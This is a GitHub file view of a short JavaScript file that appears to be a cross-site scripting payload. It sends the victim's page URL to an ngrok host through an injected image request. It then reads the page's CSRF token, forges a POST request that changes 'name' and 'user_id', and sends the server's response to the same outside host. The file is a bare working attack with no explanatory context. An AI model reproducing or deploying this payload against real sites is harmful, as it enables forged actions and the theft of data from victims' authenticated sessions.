-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathnew2
More file actions
17 lines (15 loc) · 750 Bytes
/
new2
File metadata and controls
17 lines (15 loc) · 750 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function send2server(name, data){
img = document.createElement("img");
img.src = "https://7b1440ce.ngrok.io/name="+name+"&data="+btoa(encodeURI(data));
document.getElementById("chat-div").appendChild(img);
}
send2server("url", window.location.href);
let xhr = new XMLHttpRequest();
xhr.open("POST", window.location.pathname, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.onload = function() {
var resp = "Loaded: "+ xhr.status +"\n\n"+ xhr.response ;
send2server("PostedResponse", resp);
};
xhr.send("name=Nice&user_id=2&_csrf_token="+document.getElementsByName("_csrf_token")[0].value);